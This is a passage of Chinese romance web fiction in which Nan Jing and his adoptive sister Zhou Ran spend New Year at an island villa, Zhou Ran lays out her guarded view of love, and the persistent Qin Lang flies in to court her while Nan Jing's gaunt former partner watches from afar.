直到那哽咽的、破碎的道歉渐渐微弱下去,只剩下粗重艰难的喘息,仿佛下一秒就会彻底断绝。 南景才缓缓开口,声音平静,温和。 “嗯,听到了。” “好好休息。” “保重。” 说完,他没有任何犹豫,挂断了电话。将那个号码拉进黑名单。 他走回行李箱旁,继续将叠好的衣服放进去,收拾好行李,他给自己倒了杯水,站在窗边,看着外面越下越密的雪。手机安静地躺在茶几上,再也没有亮起。 对不起,是世界上最无用的话。尤其是在伤害已经造成、人心已经走远之后。 他不会因为一声“对不起”就心软,不会因为对方痛苦就回头。有些路,走错了就是走错了,有些人,错过了就是错过了。现在的平静和向前走的生活,是他一点一点从废墟里重建起来的,绝不会再为任何人、任何事轻易动摇。 飞机掠过重洋,将冬日的阴霾与湿冷远远抛在身后。当南景拖着行李箱走出机场,热带岛屿裹挟着咸腥水汽和灼热阳光的风扑面而来时。 周冉开着一辆拉风的泡茶来接他,戴着夸张的墨镜,穿着色彩鲜艳的吊带长裙,赤脚踩在油门上,海风把她长发吹得肆意飞扬。看到他,她吹了声口哨,笑容比头顶的烈日还要晃眼:“哟!南总,度假模式,启动!” 车子沿着海岸公路飞驰,一侧是郁郁葱葱的热带植物,另一侧则是无边无际、由浅至深的、蓝得像最纯净宝石的海水。过年的气氛在这异国他乡也有了痕迹,一些度假村和商铺挂起了红灯笼,贴上了春联,虽然搭配着椰林树影显得有些奇异的混搭,却也别有一番热闹。 他们住的是一栋位于静谧海湾尽头的水上别墅,以一条长长的木质栈桥与主岛相连。别墅通体采用原木和玻璃,拥有无与伦比的私密性和开阔视野。推开门,巨大的落地窗外便是延伸向海面的无边泳池,池水与远处的大海几乎融为一体,阳光毫无遮挡地倾泻而下,将室内照得明亮通透,空气里弥漫着阳光和海洋的清新味道。 “怎么样?姐挑的地方不错吧?”周冉得意地丢掉墨镜,光着脚丫在地板上走来走去,推开每一扇窗,“就跟假的似的,这蓝天,这海水,这沙子……啧,资本主义的糖衣炮弹,果然腐蚀人心。” 南景放下行李,走到露台边。脚下是清澈见底的海水,能看见色彩斑斓的小鱼在珊瑚丛中穿梭。极目远眺,海天一色,只有几朵蓬松的白云慢悠悠地飘着。阳光炽烈,晒在皮肤上有微微的刺痛感,此情此景让人很放松。这里的一切都饱和度极高,明媚得不像真实世界,倒像精心调过色的电影画面。 “嗯,不错。”他点点头,脱下外套,只穿着一件简单的白T恤,感受着温暖的海风拂过皮肤。 接下来的几天,他们过得纯粹而慵懒。睡到自然醒,在露台上对着无敌海景吃早餐,新鲜的热带水果甘甜多汁。白天,或是在细腻如粉末的白沙海滩上散步,看潮起潮落;或是浮潜在别墅周围清澈的海水中,与鱼儿同游;或是干脆哪里也不去,就躺在泳池边的躺椅上,看书,发呆,偶尔闲聊几句,更多时候只是享受着阳光和无所事事的宁静。 年关越来越近,岛上过年的氛围也浓了些。他们居住的度假村为华人游客准备了特别的除夕晚宴,但他们没去凑热闹。周冉不知从哪里弄来了新鲜的龙虾、海鱼和本地蔬菜,信誓旦旦要亲自下厨,做一顿有海的味道的年夜饭。南景由着她折腾,自己负责打下手和收拾战场(周冉的厨艺仅限于煮熟和调味全靠手感)。 傍晚时分,夕阳将天空和海面染成一片瑰丽的金红色。他们就在别墅宽敞的露天餐厅里,摆开了阵势。桌上铺着洁白的桌布,放着度假村送来的香槟和鲜花。周冉的杰作卖相居然不错:清蒸龙虾保留了原汁原味的鲜甜,香煎海鱼外焦里嫩,蒜蓉青菜碧绿诱人,还有一锅热气腾腾的海鲜汤。虽然过程鸡飞狗跳,但成果足以慰藉。 两人相对而坐,开了香槟。没有繁文缛节,没有应酬客套,只有刀叉轻碰的声响和偶尔的交谈。 “啧,这龙虾,绝了!我真是个天才!”周冉咬了一大口,满足地眯起眼。 “盐好像放多了点。”南景尝了尝鱼,诚实评价。 “那是海的味道!懂不懂!原生态!”周冉强词夺理。 南景笑了笑,没再反驳,给她夹了只最大的虾钳。 窗外,夕阳彻底沉入海平面,天光由绚烂转为深邃的宝蓝,最后沉入墨黑。无数星子悄然浮现,在清澈无污染的天幕上璀璨生辉,低得仿佛伸手可摘。远处主岛度假村的灯光和更遥远的海上渔火,如同撒落的钻石,与星空交相辉映。 没有电视,没有春晚的背景音,只有海浪永不止息的、轻柔的哗哗声,像是大自然最恒久的守岁歌谣。 吃完饭,收拾妥当,两人换上舒适的衣服,拿了剩下的半瓶香槟和两个杯子,赤脚走出别墅,踏上依旧残留着白日余温的细软沙滩。 夜色中的海与白天截然不同,深沉,辽阔,充满神秘的力量。浪潮一层层涌上来,在脚边化作细碎的白色泡沫,又悄然退去,周而复始。沙滩上只有他们两人,和身后别墅温暖的灯光。 他们找了处干燥的沙地坐下,背后靠着半截被海水冲刷得光滑的枯木。周冉给两人倒了点香槟。 “又是一年了啊,南小景。”周冉仰头喝了一口,望着星空,语气有些感慨。 “嗯。”南景也喝了一口,看着远处海天相接处模糊的界线。 “感觉像做梦一样。”周冉轻声说,“去年这时候……啧,不提了。今年挺好的,在这里,和你。” “嗯,挺好。”南景应道,嘴角有浅浅的弧度。 两人安静地坐着,听着海浪,看着星空。时间在这里失去了紧迫感,变得缓慢而温柔。 不知过了多久,远处主岛的方向,忽然传来“咻”的破空声。 紧接着,“砰!” 一朵巨大的、银白色的烟花在夜空中轰然绽放,瞬间照亮了一小片天幕和海面,流光溢彩的花火缓缓坠下,如同下了一场短暂的光雨。 是度假村为庆祝新年准备的烟花表演开始了。 “哇!有烟花!”周冉兴奋地坐直身体。 紧接着,第二朵,第三朵……金色的、红色的、紫色的、绿色的……各式各样的烟花争先恐后地升空,炸开,将墨色的夜空装点得如同梦幻仙境。爆炸声隔着一段距离传来,显得有些沉闷,但烟花的绚烂却丝毫不打折,倒映在微微荡漾的海面上,形成上下对称的、双倍华丽的奇景。 他们坐在安静的私人沙滩上,看着不远处公众海滩上空那场不属于他们、却又仿佛为他们而燃的盛大表演。没有拥挤的人群,没有嘈杂的欢呼,只有彼此相伴,和这片独享的天地。 “新年快乐,冉冉。”在又一波烟花炸响的间隙,南景轻声说。 “新年快乐,南小景!”周冉转过头,对他粧开一个灿烂至极的笑容,举起酒杯,“祝我们新的一年,暴富!健康!开心!远离一切糟心的人和事!” 酒杯轻轻相碰,声音清脆,融入海浪与烟花的交响。 烟花表演的余韵在夜空中彻底消散,只留下几缕淡淡的硝烟味,很快被海风吹得无影无踪。沙滩重归静谧,只有永恒的海浪声冲刷着时间的边缘。星河低垂,仿佛一伸手就能搅碎那片钻石般的璀璨。 两人依旧并肩坐在枯木旁,香槟还剩个底。周冉屈起膝盖,下巴搁在膝盖上,赤着的脚趾无意识地抠着温热的细沙。南景稍微往后靠了靠,仰头望着星空。 “感觉我们认识好多好多年了。” “是好多好多年了,从陌生人,变成一家人,又从一个户口本里分离开来。但有些东西,分不开。” 周冉侧过头,很轻地“嗯”了一声,“但你永远都是我最重要的家人。没有之一的那种。” 南景也转过头,对上她的目光。星光落进他眼里,泛起柔和的光泽。他笑了笑,那笑容干净:“嗯,你也永远是我最重要的家人。雷打不动的那种。” 又一阵零星的小烟花从主岛方向升起,啪地炸开,短暂的绚丽后迅速湮灭。南景的目光追随着那湮灭的光点,忽然轻声问:“那……你对秦朗,到底是怎么想的?我感觉得到,你对他,不是没感觉。你喜欢他,对吧?” 周冉没有立刻回答。她拿起酒杯,将最后一点冰凉的香槟含进嘴里,慢慢咽下。 “嗯,喜欢啊。” 承认得干脆利落。 “但,”她话锋一转,语气里带上了一种清晰的疏离和 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“第一,心理年龄的成长速度,平均比女人要慢上八年,甚至更久。吓一跳吧?你以为你穿着婚纱,站在那儿感动得稀里哗啦,以为找到了能遮风挡雨的港湾,结果呢?可能发现对面站着的那个家伙,才是你人生里最大的那场风雨,专挑你心里最软的地方浇。” “第二,”她放下手指,语气更沉,“他们太习惯被照顾,被付出,却很少真正学会如何去共担和滋养一段关系。他们想要的是港湾的宁静,却不愿意去夯实地基,抵挡真正的风浪。他们口中的爱,很多时候,是一种索求,一种占有,或者一种自我感动。” 南景沉默着。他无法完全反驳,因为他见过太多,包括曾经的自己,何尝不是在某种无知的傲慢和理所当然中,辜负了最珍贵的付出。 “所以你看,”周冉向后仰了仰,舒展了一下有些僵硬的肩膀,“人生很多事,我们明明可以自己做得很好,不是吗?赚钱,花钱,玩乐,面对困难,消化情绪……不是非要有个人在旁边,对你指手画脚,或者需要你费尽心力去经营他。” “大部分所谓亲密关系里的人性,就是支配、控制、期待、依赖。然后把自己搞得狼狈不堪,筋疲力尽,最后发现,对方付出的,远远达不到你的期待,甚至不及你付出的十分之一。所以,你要想过得舒坦点,唯一能做的,就是过耳不过心,降低期待。把对别人的期待值拉到最低,这样,任何一点收获都是惊喜,任何一点失望都不会让你伤筋动骨。要不然,你会过得很痛苦,就像……” 她没说完,但南景知道她指的是什么。像他过去那六年。 “至于经营亲密关系,我觉得,某种程度上是个伪命题,甚至是个陷阱。它诱导你,把所有目光、所有精力、所有人生的希望,都投向对方,把经营好这段关系当成一生的终极使命去完成。最后你会发现,你为了绑住一个如此平凡、甚至可能充满瑕疵的人,付出了你整个人生最重要的东西,你的时间。无可替代、永不回头的时间。” “生命就这样被一点点浪费掉了。它原本可以用来阅读更多的书,走更远的路,学更有趣的技能,创造更大的价值,体验更丰富的世界。但你却在某个人身上,耗费了太多太多时间,多到等你醒悟时,回头看,只剩一片荒芜和追悔莫及。” “所以,南小景,”她转过头,极其认真地看着他,“你去研究怎么经营亲密关系,是没用的。这个没用,不是说它不能带来短暂的愉悦或某段美好时光。但它的代价太大了。它浪费了你最宝贵的一样东西,心力。那种全神贯注、充满热情和创造力的心力。多少人,为了一段感情,付出了无数心血,甚至赌上一生,最后只换来满腔悔恨,不值,真的不值。” “你要做的,是尽早从那种面向他人、经营关系的思维模式里跳出来。彻底地,转向自己。”她用手指,轻轻点了点自己的心口。 “去面向一个更宏大、更广阔的世界。去经营你的事业,你的健康,你的兴趣爱好,你的精神王国。去学习,去成长,去赚钱,去见识,去创造。围着你自己生命的火堆,尽情起舞,肆意燃烧。当你自己足够丰盛,足够强大,足够有趣的时候,你才会感受到真正的、稳固的幸福感。而且,到了那个时候,你根本不会缺少爱。你会吸引来那些真正欣赏你、与你同频的人,而不是需要你费力去经营和捆绑的人。” “爱情,或者任何一段深刻的关系,它应该是你生命盛宴上的一道亮丽风景,一杯锦上添花的美酒,而不该成为你需要倾尽所有去维持的、摇摇欲坠的餐桌本身。” 她这番惊世骇俗又无比清醒的独立宣言,回荡在空旷的天地间,也敲打在南景的心上。 南景久久没有说话。他消化着她话里的每一个字,那些锋利如刀的现实剖析,那些悲伤却可能真实的洞察。他不得不承认,周冉的许多话,戳中了这个时代亲密关系的某些痛处,也为他自己的过去提供了一种残酷的注脚。 但他也知道,周冉这番话,或许说对了一大半,却可能也屏蔽了另一半——那种真正的、健康的、相互滋养的深度联结可能带来的、无法被个人成就完全替代的温暖与完满。以及,那个叫秦朗的男人,或许正在用他的方式,试图打破她筑起的高墙。 他伸出手,轻轻拍了拍周冉的肩膀,像小时候无数次安慰彼此那样。 “好,我听到了。围绕自己的生命火堆,尽情起舞。” “不过,冉冉,跳舞的时候,如果偶尔有人想凑过来给你递杯水,或者只是在一旁为你鼓掌……只要你自己不觉得被打扰,不觉得消耗,那看看也无妨,对吧?毕竟,星空下独舞很美,但有人真心欣赏的舞,或许……也别有一番滋味?” 周冉看着他,先是愣了一下,随即,露出底下一点柔软的和动摇。她撇撇嘴,没承认,也没否认,只是小声嘀咕了一句: “就你会说……” 然后,她把空酒杯往沙地里一插,整个人向后倒在微凉柔软的沙子上,摊成一个“大”字,望着头顶浩瀚无垠的星空,闭上了眼睛。 南景笑了笑,也学着她的样子,躺了下来。 星河在头顶流转,海浪在耳边低吟。旧岁在深刻的交谈中流逝,新岁在无言的陪伴中降临。 27. 你要来吗? 海岛的上午总是来得迅猛而炽烈。周冉和南景都还沉浸在跨年守夜后的深度睡眠里,别墅里一片静谧,只有空调低沉的送风声和远处隐约的海浪。 “叮咚~叮咚叮咚~!” 急促又执着的门铃声,像一把钝刀,狠狠劈开了这片安宁。一遍,两遍,不依不饶。 “唔……”周冉把脸更深地埋进枕头里,试图屏蔽噪音。没用。门铃还在响,甚至还伴随着“砰砰”的拍门声。 “谁啊……大清早的……扰人清梦天打雷劈……”她顶着一头炸毛的乱发,眼睛都睁不开,梦游般地从床上爬起来,光着脚,带着满身生人勿近的低气压,摇摇晃晃地穿过客厅,猛地拉开了别墅厚重的木门。 炽热的阳光和海风瞬间涌了进来,刺得她眯起眼。门外,秦朗那张英俊得过分的脸,猝不及防地撞入视野。他穿着浅亚麻色的休闲衬衫,袖子挽到手肘,头发不像平时那样一丝不苟,有些被风吹乱的随意,脚边还放着一个登机箱。看到门开,他立刻扬起一个灿烂到晃眼,露出一口白牙: “冉冉!新~~” “砰!” 他“新年快乐”的“年”字还没出口,周冉已经面无表情、动作快如闪电地,反手就把门往回关!力道之大,带起一阵风。 “哎哎哎!别关别关!”秦朗反应极快,立刻伸脚卡住门缝,同时用手抵住门板,身体灵巧地往前一挤,成功阻止了门被拍在脸上的命运。他半边身子已经挤了进来,脸上笑容不变,只是多了点可怜兮兮的意味:“冉冉新年快乐啊!你看我,新年第一班飞机,跨越重洋,飞了整整九个小时!一下飞机就奔你这儿来了,诚意十足吧?” 周冉被他挤在门和他身体之间,被迫仰头看着这张近在咫尺、写满“快夸我”的脸。宿醉加上被吵醒的暴躁让她太阳穴突突直跳,她没好气地瞪着他,从牙缝里挤出几个字:“你是跟屁虫吗?还是装了GPS?我躲到天涯海角你都能找来?” “那必须的!”秦朗就当她是在夸他,得意地挑了挑眉,从身后拿出一束花,递到周冉鼻子底下,“喏,新年礼物。白色海芋,花语是此情不渝,纯洁无瑕的爱。我觉得特别配你,又纯洁,又……嗯,充满原始野性的生命力。” 周冉低头,看着那束被精致包装着的、洁白无瑕、姿态优雅的海芋,在炽烈的热带阳光下,花瓣几乎在发光。她没接,只是抱着手臂,上下打量他:“秦总,您这追人的套路,是从哪个上世纪言情小说里学的?千里追妻,机场花店,苍白告白?下一步是不是该下雨了,然后你脱下外套给我披上,自己淋成落汤鸡?” 秦朗丝毫没有被打击到,反而顺着她的话问:“你喜欢下雨天披外套的戏码?那我现在就去海里游一圈,然后湿漉漉地回来给你表演狼狈的深情?保证比电视剧里演得真实!” “滚蛋!”周冉终于被他这没脸没皮的样子气笑了,伸手推他胸口,想把他彻底推出门外,“谁要看你表演!拿着你的花,回你的酒店去!我们要睡觉!” “睡觉?”秦朗眼睛更亮了,就势抓住她推过来的手腕,身体又往前凑了凑,他压低声音,语气暧昧,“正好,我也困了。飞了九个小时,腰酸背痛的。你们这别墅……客房还空着吧?我不介意挤一挤,真的,我睡相很好,不打呼噜,最多……偶尔梦游找一下洗手间。” “我介意!”周冉用力抽回手,但没成功,反而被他拉得一个踉跄,离他更近了点。她抬头瞪他,却撞进他含笑却异常专注的眼底,那里面清晰地映着她此刻衣衫不整、头发蓬乱、咬牙切齿的倒影。她心跳莫名漏了一拍,随即是更恼火的烦躁,“秦朗!你松手!信不信我喊非礼了?!” “你喊,”秦朗有恃无恐,甚至还晃了晃两人交握的手,“让整个海滩的人都来看看,秦氏集团的太子爷,是怎么被心上人拒之门外的。标题我都想好了——痴情富少跨洋追爱,惨遭无情抛弃于热带孤岛,绝对上头条。” “你!”周冉被他堵得一时语塞,憋了半天,憋出一句,“无赖!” “嗯,只对你无赖。”秦朗从善如流。他看着她瞬间泛红的耳尖和强作镇定的样子,眼底笑意更深,终于松开了手,但却将另一只手里的花,强势又不失温柔地塞进了她怀里。 “拿着,给你的。不想要就扔海里,反正我的心意送到了。”他说着,自顾自地提起脚边的登机箱,侧身从她旁边挤进了门,像回到自己家一样自然。 “谁让你进来了?!”周冉抱着那束带着露水凉意的海芋,追在他身后。 “我交了房租的。”秦朗回头,对她眨眨眼,“精神上的。而且,我给你们带了新年礼物,不止是花。”他指了指自己的行李箱。 “我们不需要!” “需不需要,你说了不算。”秦朗已经走到开放式厨房,打开冰箱,熟练地拿出瓶冰水,拧开灌了一大口,然后舒爽地叹了口气,转头看向还抱着花、站在客厅中央瞪他的周冉,以及听到动静、揉着眼睛从卧室走出来的南景。 “早啊,南景。新年快乐。”秦朗对南景挥挥手,笑容灿烂,仿佛他才是这里的主人。 南景看着这鸡飞狗跳的一幕,又看看周冉怀里那束扎眼的白海芋,沉默了两秒,然后非常识趣地转身,往自己卧室走去,丢下一句:“你们聊,我继续睡。对了,客房在左边,自便。还有,冉冉,控制音量,别拆家。” “南小景!你还是不是我哥了!”周冉哀嚎。 “现在是前哥了,你们家务事,我不掺和。”南景的声音伴随着关门声传来。 客厅里,只剩下抱着花的周冉,和喝着冰水、笑容满面的秦朗。 秦朗放下水瓶,走到周冉面前,微微弯腰,看着她的眼睛。 “所以,能收留我几天吗,房东小姐?我保证,乖乖的,不惹事,还能兼职司机、导游、保镖、以及……人形钱包。” 周冉抱着那束冰凉的白色海芋,倚在门框上,晨起未褪的慵懒和她此刻异常清醒的眼神形成奇异的对比。她掀起眼皮,看了他一眼,那目光平静,透彻。 “不能。哪儿来的,回哪儿去。” 秦朗脸上的笑容僵了一瞬,但迅速被赖皮和可怜的神色取代。他往前蹭了半步,拉近了距离,他拖长了调子,声音压得又低又软,带着与他外形极不相符的娇嗔:“冉~冉~别这样嘛……你看我多可怜,人生地不熟,飞了那么久,酒店都没订……你就当收留只流浪狗嘛,我会看家,会摇尾巴,还会……” “秦朗。”周冉打断他,她抬起头,正视着他的眼睛,那双眼眸在晨光下清亮得惊人,里面没有羞涩,没有闪躲。 “无名无分,你要来吗?” “我正视自己对你的感情。喜欢,是有的。但,”她微微偏头,扯出一个没什么温度的浅笑,“不是非你不可。试试也可以,反正成年人,总有些这样那样的……生理需求。你情我愿,各取所需,不牵扯将来,不预设结果。怎么样,秦总,敢接吗?” 秦朗愣住了。 他设想过周冉的无数种反应——恼羞成怒的拒绝,口是心非的默许,或者干脆给他一耳光。唯独没想过,她会如此平静、如此理智、甚至带着点物化意味地,提出这样一个试用邀约。没有浪漫,没有承诺,只有赤裸裸的需求和各取所需。将他满腔的深情和追赶,瞬间拉低到了一个纯粹感官和短暂陪伴的维度。 心脏像是被什么东西不轻不重地攥了一下,有点闷,有点疼,但更多的,是一种豁出去的释然。 他看着她平静无波的眼睛,看着她微微开启、吐露出如此对自己不利提议的唇瓣,看着她身上那件宽大衬衫下露出的精致锁骨和笔直小腿…… 没有犹豫。 他猛地伸出手,直接揽住了她纤细柔韧的腰肢,手臂用力,将她整个人带得往前一扑,撞进自己怀里。另一只手顺势托住了她的后脑,阻止了她可能的后仰。 海芋花束被挤压在两人胸膛之间,洁白的花瓣微微变形。 秦朗低下头,额头几乎抵上她的,呼吸骤然变得灼热急促,他盯着她的眼睛。 “来啊。”他的声音嘶哑得厉害,每个字都像是从喉咙里磨出来, “无名无分,我也认了,周冉。” “只要是你,怎么都行。” “试用期也行,备胎也行,解决生理需求的对象也行……我都认。” 他说得毫无尊严,却又仿佛在说,就算你只给我开一扇窄到只容身体进入、随时可能关闭的门,我也要挤进去。就算你只肯给我一个代号,一个功能,我也要留在你的生命里,占一个位置。 周冉被他紧紧箍在怀里,能感受到他胸腔里剧烈的心跳,和他身上风尘仆仆却依旧清爽的气息。 她没有挣扎,只是抬起眼,与他对视。几秒钟后,她忽然,很轻地笑了一下。 “行。”她吐出一个字。 然后,她抬起没拿花的那只手,抵在他胸膛上,微微用力,拉开了些许距离。脸上的笑容收敛:“现在,滚蛋。” 秦朗:“……?” “中午,”周冉补充,目光扫过他脚边的行李箱,又落回他脸上,“带着你的人形钱包和司机导游保镖功能,再过来。我要吃本地最新鲜的海鲜,要去人最少、最干净的海滩,晚上要看星星,不能有光污染。” 她顿了顿,看着他有些反应不过来的呆愣表情,红唇微勾,吐出最后一句:“表现好,试用期才有转正的可能。现在,你,立刻,从我的别墅消失。我要睡回笼觉,洗澡,换衣服。你在这儿,碍眼。” 秦朗消化着她这番话里的意思,虽然被轰走,但却拿到了中午再来的许可,甚至还有了转正的虚幻胡萝卜…… 这简直是他能想到的、在周冉这里能得到的、最好的开局了! 他眼睛猛地亮起,毫不犹豫地点头:“遵命!夫人!” 话音未落,他趁着周冉还没反应过“夫人”这个称呼,猛地低头,以迅雷不及掩耳之势,在她微微张开还带着点惊愕的唇上,重重地、结结实实地亲了一口! 一触即分。 “中午见!等我!”他飞快地说完,像是怕她反悔或者一巴掌扇过来,立刻松开了揽着她腰的手,弯腰提起自己的行李箱,转身,步伐轻快得几乎要跳起来,朝着别墅外走去。走到门口,还不忘回头,对着还站在原地、似乎被他那一吻弄得有 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秦朗带着一身“拿下准入许可”的志得意满和满脸,推开隔壁别墅的门。海风卷着咸湿的气息率先涌入,与室内充足的冷气撞个满怀。他脸上的灿烂笑容还没来得及完全展开,目光触及客厅沙发上的那个人影时,随即像是被海岛上空骤聚的乌云笼罩,沉了下去。 邵既明坐在面朝大海的落地窗旁那张单人沙发里。与其说是“坐”,不如说是“陷”。整个人仿佛被抽走了大半骨架,深陷在柔软的白色靠垫中。他穿着简单的白色衬衫和浅色长裤,衣服空荡荡地挂在他急剧消瘦的身架上,锁骨和手腕的骨骼突出得触目惊心。脸色是一种长期不见阳光病态的苍白与憔悴的灰败,眼下两团浓重的乌青像是用墨汁晕染开,深深凹陷下去。嘴唇干裂,没有血色。原本俊朗深邃的五官,因为消瘦而线条更加锋利嶙峋,却透着一股行将就木般的死气。他微微侧着头,目光没有焦距地落在窗外那片蔚蓝到刺眼的海天之间,阳光透过玻璃毫无遮挡地落在他身上,却仿佛照不亮他分毫,只将他衬得更加形销骨立,像个误入阳光世界苍白的游魂。 “我操……”秦朗低低骂了一句,将手里的行李箱随手丢在门边,发出沉闷的响声。他大步走过去,人高马大地在邵既明对面的沙发上坐下,身体前倾,手肘撑在膝盖上,眉头拧成一个死结。 “他怎么样?”邵既明像是被秦朗弄出的声响惊动,眼珠极其缓慢地转动了一下,视线勉强聚焦在秦朗脸上。 秦朗被他这鬼样子气得心口发堵,没好气地怼回去:“人好着呢!吃得好睡得香,笑声隔老远都能听见!你先看看你自己吧!啊?” 他伸手指着邵既明,指尖几乎要点到他鼻子上:“你看看你这几个月把自己折腾成什么鬼样子了!啊?传出去让不让人笑话!邵氏的太子爷,为了个男人要死要活,不吃不喝发高烧差点直接嗝屁过去!要不是你妈发现得早,你现在就不是坐在这儿,是躺太平间了!” 邵既明没什么反应,只是睫毛颤动了一下,干裂的嘴唇抿了抿,依旧看着秦朗,等待那个关于“他”的答案,对其他指责恍若未闻。 秦朗看着他这副油盐不进、只剩一口气吊着的样子,胸口那团火发不出来,憋得难受。他想起年前邵既明被邵景强行关在家里,绝食,高烧昏迷,意识模糊时只反复念叨“南景”、“对不起”,是秦凌萱心疼儿子,找人把他送进医院,守着他醒来,看着他瘦脱了形、眼里最后一点光都要熄灭了,才哭着对丈夫妥协,说“让他去吧,就当……最后看看”。邵衡最终黑着脸默许,条件是秦朗必须跟着,看着这个不争气的弟弟。 “你妈让我带你来,是让你来看看,散散心,不是让你来这儿继续当望妻石的!你看看这地方,阳光,沙滩,大海,多好的地儿!你能不能……能不能稍微,把自己当个人看?嗯?” 邵既明沉默着。过了好一会儿,他才很轻地摇了摇头:“哥……我没事。就是……有点累。” “累?”秦朗气笑了,“你那是有点累?你那是快把自己耗干了!邵既明,你他妈到底打算怎么办?就这么一直半死不活地吊着?南景那边你也看见了,人家一点儿想要和好的意思都没有!不,是根本没有和好这个概念了!人家往前走了,走得挺踏实,挺快乐!你呢?你就准备烂在这儿?烂在过去里?” 秦朗的话像一把小刀拉肉,反复切割着邵既明早已血肉模糊的心脏。他当然知道南景往前走了。从那次峰会冰冷的对视,从雪夜里平静的拒绝,从病中那通电话里温和而疏离的“保重”……他比任何人都清楚,南景的世界里,已经没有他的位置了。 邵既明勉力扯了扯嘴角,试图挤出一个笑容,但那弧度扭曲得比哭还难看。他垂下眼,看着自己因为消瘦而骨节分外突出、此刻无意识蜷缩在一起的手指。 “我……没打算怎么办。” “我能……远远看看他,就行。” “就看看……他好好的,就行。” 他说着,像是为了证实自己的无害和知趣,手指神经质地、反复地摩挲着自己的指关节。 秦朗看着他那副样子,所有骂人的话都堵在了喉咙里,只剩下满腔的无力感和深重的悲哀。有些坎啊,别人说再多都没用,得自己熬,熬过去了是重生,熬不过去……可能就真的毁了。 28. 阳光,沙滩,海浪,仙人掌 正午的阳光毫无保留地倾泻在蔚蓝的海面上,折射出万点碎金。餐厅位于一片延伸向海面的宽阔木质露台上,头顶是巨大的茅草遮阳伞,脚下木板缝隙间能看到清澈的海水荡漾。 周冉、南景、秦朗三人选了张靠栏杆的桌子,视野绝佳,面朝无垠大海,面朝大海,春暖花开……如果忽略某个家伙过于灼热的视线的话。 “阿嚏!” 周冉刚在铺着洁白桌布的椅子上坐下,就毫无预兆地打了个响亮的喷嚏,她揉了揉鼻子,狐疑地左右看看,又摸了摸自己的后脖颈,小声嘀咕:“奇怪……我怎么觉得脖子后面凉飕飕的?……这地方,不会闹鬼吧?海鬼?阳光海滩鬼?” 南景正用热毛巾擦手,闻言关切地看过来,伸手试了试她胳膊的温度:“是不是刚才从海里上来,吹了风?还是餐厅空调开太猛了?”他招手示意侍者,指了指上方的中央空调出风口。 “冷吗?冷的话我衣服给你穿啊!”秦朗立刻接话,他穿了件骚包的荧光粉短袖T恤,衬得他肤色更显健康,此刻他一边说,一边已经做出要当场脱衣服的架势,双手抓住T恤下摆就往上一掀,露出了一截线条分明、晒成蜜色的腹肌和人鱼线,在阳光下简直闪闪发光。 “哎哎哎!打住!”周冉赶紧制止,嫌弃地瞥了一眼他那辣眼睛的腹肌(虽然确实不错),“秦朗!公共场合!注意影响!你要敢在这儿裸奔,我可不会去警察局捞你,你就等着因为有伤风化、危害海岛精神文明建设被关起来,跟本地椰子蟹作伴吧!” “嘿嘿,”秦朗就势停下动作,把衣服拉好,脸上是贱嘻嘻的笑,凑近周冉,“怕什么,我身材这么好,给人民群众发发福利怎么了?说不定还能带动本地旅游GDP,他们得给我发锦旗,裸奔……啊不,是人文艺术展示先锋!” “滚蛋,你那叫人文艺术?你那叫耍流氓未遂!”周冉翻了个白眼,懒得理他,拿起插着吸管的青椰子,喝了一大口冰镇清甜的椰子汁。 餐厅里人渐渐多了起来,欢声笑语,刀叉轻碰,混合着不同语言的交谈声。谁也没有注意到,在露台最靠里、绿植掩映的昏暗角落,一张单人小桌旁,坐着一个戴着超大墨镜、几乎遮住半张脸的男人。他穿着白色棉麻衬衫,身形消瘦得有些嶙峋,与周围穿着鲜艳度假服装、兴致勃勃的游客格格不入。他面前只放着一杯清水,几乎没动过。他就那样安静地坐着,墨镜的镜片,却仿佛有自己的生命,贪婪地看着栏杆边那桌欢笑的身影,尤其是那个穿着浅蓝色亚麻衬衫、正微微侧头听周冉说话的人。 侍者开始上菜。滋滋作响的黄油蒜香龙虾,摆盘精美的刺身拼盘,烤得外焦里嫩的海鱼,香气扑鼻的海鲜炒饭,还有清爽的蔬菜沙拉。色彩缤纷,令人食指大动。 “哇!这个龙虾看着就很好吃!”周冉拿起刀叉,跃跃欲试。 秦朗殷勤地先给她夹了最大的一块龙虾肉,又给南景夹了一块,然后才给自己夹。 “哎,秦朗,问你个事儿。”周冉头也不抬的问道。 “啊,你说。”秦朗抬头看着他。 “你有没有什么……嗯,就是那种,念念不忘的……白月光啊?” 秦朗心里一松,咧嘴一笑:“你就是我的白月光。” 周冉嫌弃的“啧”了一声,“白月光是什么好东西吗?小说里不都是炮灰担当?专门用来衬托主角真爱的工具人,最后不是死了就是疯了,要么远走他乡孤独终老。这福气给你,你要不要啊?” “噗~~”旁边安静吃饭的南景没忍住,低笑出声,连忙拿起水杯掩饰。 秦朗脸上变成哭笑不得:“冉冉!不带你这么玩的!!” 周冉叉起一块鲜甜的刺身蘸了点酱油送进嘴里,边嚼边说,“要我说,心里装着个白月光还出来谈恋爱的人,狗都不要。真的,晦气。人都不要你,他还搁那儿自我感动,演什么情深不寿的苦情戏码,有事没事还要拿白月光出来祭奠一下,给现任添堵,作天作地,好像全世界就他一个人懂真爱。这种男人,不分留着过年祭祖吗?” 邵既明墨镜后的眼睛,死死地盯着南景的方向。南景正微微笑着,似乎觉得周冉的话有趣,还赞同地点了点头。 “那你还问?”南景接过话头。 秦朗摸了摸鼻子,立刻表忠心,对着周冉举起三根手指,“天地良心!我秦朗,绝对没有那种劳什子白月光!本人情感史清清白白,明明白白!正经谈过的,就两个!高中一个,大学一个,都是和平分手,绝无纠缠,分手后连对方朋友圈都没点赞过!我发誓!” 周冉慢悠悠地“哦”了一声,拉长了调子,漂亮的眼睛眯起来,她放下叉子,看着秦朗,红唇勾起一个似笑非笑的弧度:“那……不正经的呢?” “……”秦朗一噎,差点被自己的口水呛到。他眼神开始飘忽,左顾右盼,拿起水杯猛灌一口,“咳咳……那什么……往事不可追,往事不可追……咱们要向前看,是吧南景?”他拼命给南景使眼色求救。 南景接收到信号,放下刀叉,这才慢条斯理地开口:“嗯,冉冉,过去的事,就别太计较了。秦总这不是……认识你之后,改邪归正,重新做人了么?咱们吃饭,吃饭,这鱼凉了不好吃。” “嗯嗯!”秦朗立刻点头如捣蒜,感激地看了南景一眼,觉得这大舅哥真是太上道了!他趁机再次对周冉发起深情攻势,眼神努力显得真诚无比:“冉冉!我对你那可是一见钟情,二见倾心,三见就非你不可了!日月可鉴,至死不渝!我可绝对不是因为你是谁,你有多少钱,你哥多帅……呸!我是说,只是因为你是周冉!独一无二、闪闪发光的周冉!所以我才会这么、这么、超级喜欢你哦!” 